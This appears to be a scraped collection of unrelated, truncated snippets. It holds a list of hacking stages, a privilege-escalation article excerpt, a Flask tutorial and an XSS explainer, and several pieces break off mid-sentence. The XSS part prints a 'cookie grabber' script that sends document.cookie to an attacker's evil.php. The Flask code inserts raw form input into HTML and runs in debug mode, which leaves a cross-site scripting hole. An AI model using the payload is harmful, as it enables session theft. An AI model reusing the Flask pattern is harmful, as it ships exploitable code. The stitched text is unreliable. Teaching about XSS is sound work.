The UnHoly Trinity of Cyber Security

 The first 3 stages of Hacking.

1. Information Gathering. ℹ️

2. Scanning and Enumeration. 📡

3. Exploitation. 👨🏾‍💻


Privilege Escalation. 

• A privilege escalation attack is a cyberattack to gain illicit access of elevated rights, permissions, entitlements, or privileges beyond what is assigned for an identity, account, user, or machine. This attack can involve an external threat actor or an insider threat.

WHAT IS PRIVILEGE ESCALATION?

Bart Lenaerts-Bergmans - June 3, 2022

As organizations rely more on remote work capabilities and larger cloud systems, their vulnerability to cyberattacks increases. Privilege escalation attacks are a prevalent and complex threat, and any network can become a target.

Organizations need multiple defense strategies when any asset can become an entry point for intruders. Understanding the privilege escalation process is an important first step toward prevention and defense against extensive network attacks.

What Is Privilege Escalation?

A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviors, design flaws or oversights in operating systems or web applications. This is closely related to lateral movement — tactics by which a cyberattacker moves deeper into a network in search of high-value assets.

Python 2 HTML

To convert this code into a user interactive web app, you can use a web framework like Flask or Django. In this example, I will use Flask. First, you need to install Flask using pip: bash 1 pip install Flask Then, create a new file named  app.py  and add the following code: python 1 from flask import Flask , render_template , request 2 3 app = Flask ( __name__ ) 4 5 @app . route ( '/' , methods = [ 'GET' , 'POST' ] ) 6 def index ( ) : 7 if request . method == 'POST' : 8 input_text = request . form [ 'input_text' ] 9 result = { 'status' : 'success' , 'result' : '<pre>' + input_text + '</pre>' } 10 else : 11 result = None 12 13 return render_template ( 'index.html' , result = result ) 14 15 if __name__ == '__main__' : 16 app . run ( debug = True ) Next, create a new folder named  templates  in the same di...

"Cookie Grabber", XSS Attack Example

Attack Examples Example 1: Cookie Grabber If the application doesn’t validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles): <SCRIPT type= "text/javascript" > var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it. Error Page Example Let’s assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is m...
